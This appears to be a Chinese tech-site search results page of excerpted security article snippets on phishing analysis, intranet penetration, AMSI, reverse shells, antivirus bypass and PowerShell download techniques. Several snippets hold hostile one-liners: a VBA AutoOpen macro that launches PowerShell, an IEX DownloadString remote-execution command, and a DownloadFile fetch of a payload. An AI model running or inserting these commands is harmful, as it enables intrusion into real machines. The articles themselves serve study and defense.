首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

冒充安恒信息对看雪论坛的一次定向钓鱼攻击

钓鱼攻击是网络犯罪团伙常用的一种手段,很多勒索病毒都曾使用邮件钓鱼的方式欺骗受害者打开相应的附件,运行恶意样本,导致受害者被勒索加密,钓鱼邮件攻击也是APT攻击的常用手段之一,如果收到陌生的邮件,千万不要随便点击附件链接打开邮件附件中的文件...解密出powershell脚本,如下所示: ? 此Powershell脚本与远程服务器进行通讯,获取返回数据,捕获到的流量信息,如下所示: ?...与我们上面捕获到的数据流量包一致,PowerShell脚本通过远程服务器返回相应的操作指令,如下所示: ? CMD远程控制指令过程,如下所示: ?...通过CMD指令可以远程获取主机文件,进程等信息,下载,上传文件等操作,监控网络流量数据,如下所示: ?...,此次钓鱼邮件定向攻击同样采用”无文件”攻击手法,无落地PE文件,邮件附件中只包含一个HTA脚本文件,通过执行HTA脚本调用PowerShell执行所有的恶意操作 现在的钓鱼邮件攻击越来越多,各企业网站的相关管理人员

61550

内网渗透基石篇—信息收集(下)

四、 定位域管理员 内网渗透测试的需求是,获取内网中特定用户机器的权限,进而获得特定的资源,对内网的安全性进行评估。...3)收集所有活动域的会话列表 NetSess -h 这个工具,你得先下载,然后才可以使用。(github有) ? 4)交叉引用域管理员列表与活动会话列表 ? 5....扫描远程系统的NEtBios信息 首先下载脚本文件 GDA.bat 然后运行: GDA.bat -a ?...0x8020000000000000')] and EventData[Data[@Name='SubjectUserName']='RcoIl']]" /f:text /rd:true /c:2 # 参数说明 qe: 日志日志文件中查询事件...具体需要通过机器内的主机名、文件、网络连接等多种情况进行综合判断 主机名是最好判断的,通常WebApp是Web服务器;Dev是开发服务器;NAS是存储服务器;File或者Fileserver是文件服务器

1.7K20

实战 | 记一次蠕虫病毒内网传播的应急响应

通过数字杀毒软件可以看到该文件共享服务器正在被远程地址113.xx.xx.xx的机器进行爆破登录且该文件共享服务器账户锁定策略等基本加固未开启防火墙未开启等来宾账号未关闭。...为确保是否存在webshell这类后门并将zabbix的整个web目录打包下载至本地使用D盾进行后门查杀,也未发现有任何异常后门。...执行ps1文件读取到密码写出mkatz.ini,再通过CMD将powershell经过base64加密后的执行命令添加至计划任务7点执行一次进行权限维持。...通过恶意程序执行的powershell命令进行base64解密得到远程回传URL地址为v.beahh.com,在通过威胁情报搜索该URL显示该地址为驱动人生后门的回传服务器。...该木马是利用445端口进行SMB域账户爆破,该病毒实施的SMB爆破行为,是基于SMBV2协议的一种攻击方式,且木马中内置弱口令账户和密码,同通过IPC$空连接进行SMB服务的账户爆破登陆。

4.1K61

11.反恶意软件扫描接口 (AMSI)

AMSI支持允许文件和内存流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。 AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。...在涵盖攻击链各个阶段的操作(例如,有效载荷下载、持久性、执行等都会检测高风险函数触发器的列表,并根据它们在恶意和良性宏中的普遍性进行选择。...通过 AMSI 发送的行为日志可能包括诸如从中下载恶意数据的可疑 URL、已知与恶意软件相关联的可疑文件名等信息。...我们可以看一个例子来理解amsi检测查杀vba的流程: 跟powershell一样我们也使用远程加载powershell恶意代码。这样更贴近实战。...2.使用远程加载我们的恶意代码 #使用宏调用powershell远程加载ps1 Sub AutoOpen() Call Shell("powershell -Sta -Nop -Window

4.2K20

PSAsyncShell:一款功能强大的PowerShell异步TCP反向Shell

和其他反向Shell工具不同的是,该工具所实现的所有通信和执行流都是异步完成的,并实现了一些针对防火墙绕过和远程连接处理对策。...除此之外,该工具还提供了命令历史记录、屏幕清理、文件上传和下载、信息分块和反向Base64 URL编码流量等功能。...工具要求 PowerShell v4.0更高版本 工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/JoelGMSec/PSAsyncShell.git...一切的操作都是异步完成的,也就是说,每次执行命令时,都会进行以下操作: 1、服务器提示符读取命令并将其存储在变量中; 2、服务器侦听端口并准备发送; 3、客户端连接,接收命令,双方关闭连接; 4、...Base64 URL 反向编码,信息的执行和发送总是内存中完成,并且任何时候都不会在磁盘上写入任何内容。

61230

PowerShell 降级攻击的检测与防御

V2 的所有主机 阻止 PowerShell 的运行 利用 4688 事件进行终止 如果无法卸载 PowerShell v2.0,也无法使用 AppLocker,或者希望找到比 AppLocker 更简单的方法...因此,在网络上下载任何恶意脚本内容都有可能在造成伤害之前终止运行。 散弹枪方法 通过上面的方式无法满足所有需求,比如通过快捷方式调用 PowerShell V2 而不是命令行。...规避 如果攻击者使通过 powershell.exe 以外的二进制文件进行执行powershell 代码,仍然可以规避 powershell.exe 的检测规则,因为 powershell.exe 本质上是默认执行...通过其他二进制文件执行 PowerShell 代码的想法可能与维持权限的人有关,下载另一个二进制文件肯定没有默认安装的 PowerShell 有优势,但是攻击者在前期可能会使用内置的 Powershell...进行攻击,在后续活动中可以下载一个隐藏的应用程序来躲避监控,维持权限。

2.2K00

MS17-010永恒之蓝绕过数字上线

0x03 落地测试 开始我们是想直接写一个vbs下载者脚本远程下载一个免杀木马,或者是将免杀木马转为base64/hex编码后写入再使用certutil命令解码落地文件,最后执行上线。...但是在经过测试后发现使用echo、set /p、mshta和powershell等各种写文件方式都失败了,猜测可能是某些字符需要转义闭合问题,测试了挺久,如下图所示。...文件落地执行上线(Bypass 360) 白名单文件执行上线(Bypass 360) 远程加载内存执行上线(Bypass 360) (1) 远程加载内存上线 我们直接使用@格林师傅提供的一个Powershell...我们也可以将以上Powershell命令稍微改下,不直接执行Payload上线,而是改为可绕过360进行文件下载落地的命令,将免杀木马下载落地到磁盘,执行也都会出现报错,如下图所示。...注:如果想要下载落地PE文件时不能使用ReadAsStringAsync字符串,而是改用ReadAsByteArrayAsync字节数组,否则可能出现落地文件与原文件大小不一致,最终导致执行不了的情况。

29410

黑客在 Log4j 攻击中使用新的 PowerShell 后门

据观察,被认为是伊朗 APT35 国家支持组织(又名“迷人小猫”“磷”)的一部分的黑客利用 Log4Shell 攻击来释放新的 PowerShell 后门。...基本系统枚举——该脚本收集 Windows 操作系统版本、计算机名称以及 $APPDATA 路径中的文件 Ni.txt 的内容;该文件可能由主模块下载的不同模块创建和填充。...检索 C&C 域——恶意软件解码硬编码 URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/3 检索到的 C&C 域,该 URL 位于下载后门的同一 S3...核心模块不断向 C2 发送 HTTP POST 请求,这些请求要么没有得到答复,要么收到一个 Base64 字符串,该字符串启动下载额外的 PowerShell C# 模块。...命令执行- 具有 Invoke-Expression、cmd 和 PowerShell 选项的远程命令执行模块。 清理- 删除受感染系统中留下的所有痕迹的模块,例如注册表和启动文件夹条目、文件和进程。

7K10

WindowsLinux文件下载方式汇总

远程下载文件到本地: powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt...第三方应用/服务 wget wget 是一个网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"...应用程序 wget wget 是一个网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"...FTP ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件~ 首先,在攻击主机使用IPOP启动一个简易的...TFTP tftp在linux一般都自带,我们可以在终端输入tftp进行交互,所以我们可以在本地搭建TFTP服务,之后在目标主机上通过终端下的tftp远程下载文件~ 首先,在攻击主机使用IPOP启动一个简易的

1.9K50

Powershell绕过执行及脚本混淆

|powershell.exe -NoP - -noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件 你也可以网络上下载脚本并执行,这样就不会写入磁盘和修改配置文件...-Exec bypass 使用 powershell 策略中的 bypass 策略,这种方法不会改变配置或者要求写入磁盘,并且不会有任何的警告提示,如果你使用 Unrestricted,在运行网上下载的未被签名的脚本时会有警告...4、远程下载脚本执行 powershell "IEX (New-Object Net.WebClient).DownloadString(“http:///path/xxx.ps1...== 开头就可以看到它在绕过执行策略时使用了 -nop 不加载 powershell 配置文件,-w 隐藏窗口(执行该命令后会直接隐藏命令行窗口),-sta 使用 sta 模式创建 GUI 界面,-enc...,它包含了 DownloadFile 方法远程下载文件,和 Download-String 方法下载数据到内存中的缓冲区,减少了数据落地内存留下痕迹的可能。

2.7K00

免费下载 80多种的微软推出入门级 .NET视频

接下来,下载 Scott Hanselman 制作了一个小PowerShell脚本 到本地磁盘,并将其命名为DownloadVideos.ps1,注意要确保以* .ps1扩展名保存它,这是需要运行Powershell...最后,在文本编辑器中打开PS1文件,并检查第2行和第3行。再次输入适合您计算机的路径,例如C:\ temp您的下载文件夹。...我们需要一个本地存放视频的文件夹,还有我们需要下载远程RSS链接。 最后,“开始”菜单打开计算机上的PowerShell,然后运行DownloadVideos.ps1。 ?...容器简介(Docker) 为什么要使用容器?Docker是一种打包和分发具有所有依赖关系的应用程序的方法。开始使用Docker,并在此介绍性视频系列中学习如何发布您的应用程序! ?...ML.NET 欢迎使用ML.NET进行机器学习!这个入门级的视频系列介绍了机器学习的概念,它可以做什么以及如何开始使用ML.NET。 ?

1K31

持续交付之Jenkins+Ansible+Python搭建自动化部署框架(win版)

,但前提是管理机必须为 Linux 系统,远程主机的通信方式也由SSH变更为PowerShell,同时管理机必须预安装 Python 的 Winrm 模块,方可和远程 Windows 主机正常通信,但...远程主机开启 Winrm 服务 升级 Upgrading PowerShell 和 .NET Framework 可以使用 Upgrade-PowerShell.ps1 脚本来更新它们 这是如何PowerShell...这些修补程序应作为系统引导映像过程的一部分进行安装 脚本 Install-WMF3Hotfix.ps1可用于在受影响的主机上安装此修补程序 $url = "https://raw.githubusercontent.com...&更新程序------------------------ - name: 下载 server 程序文件 win_get_url: url: "{{package.root_url...注意:如果主机比较多的情况,建议不要使用这种硬编码的方式,可以考虑放到一个配置文件进行读取。 小结 在今天这篇文章中,主要基于 Ansible 系统的能力,和大家分享了搭建一套部署系统的过程。

2.5K10

“污水”(MuddyWater)APT组织C2工具MuddyC3浅析

作者竭力保证文章内容可靠,但对于任何错误、疏漏不准确的内容希望能及时提出,以免误人子弟。...工具由python2编写 使用powershell进行载荷投递 使用hta与base64后的powershell代码来进行BypassAV 支持一对多服务 载荷第一次启动时会收集目标系统信息,并发送回服务端...下面这部分来接收用户的操作对目标的操作。 ? 并根据内置在cmd.py的命令,来进行对应操作: ? 其中的Webserver.py是来定义函数功能的程序,每个功能都定义了一个URL: ?...具体的url功能实现都在下面进行了定义: ? 包括hta文件、sct文件的内容 ? ? payload分析 下面将对payload进行分析,并尽可能的解释其与C2的通信方式。...远程位置下载恶意文件到受害者主机中,然后使用诸如Start-Porcess、Invoke-Item或者Invoke-Expression(-IEX)之类的命令执行恶意文件PowerShell也可以将远程文件直接下载到受害者主机内存中

1K20
领券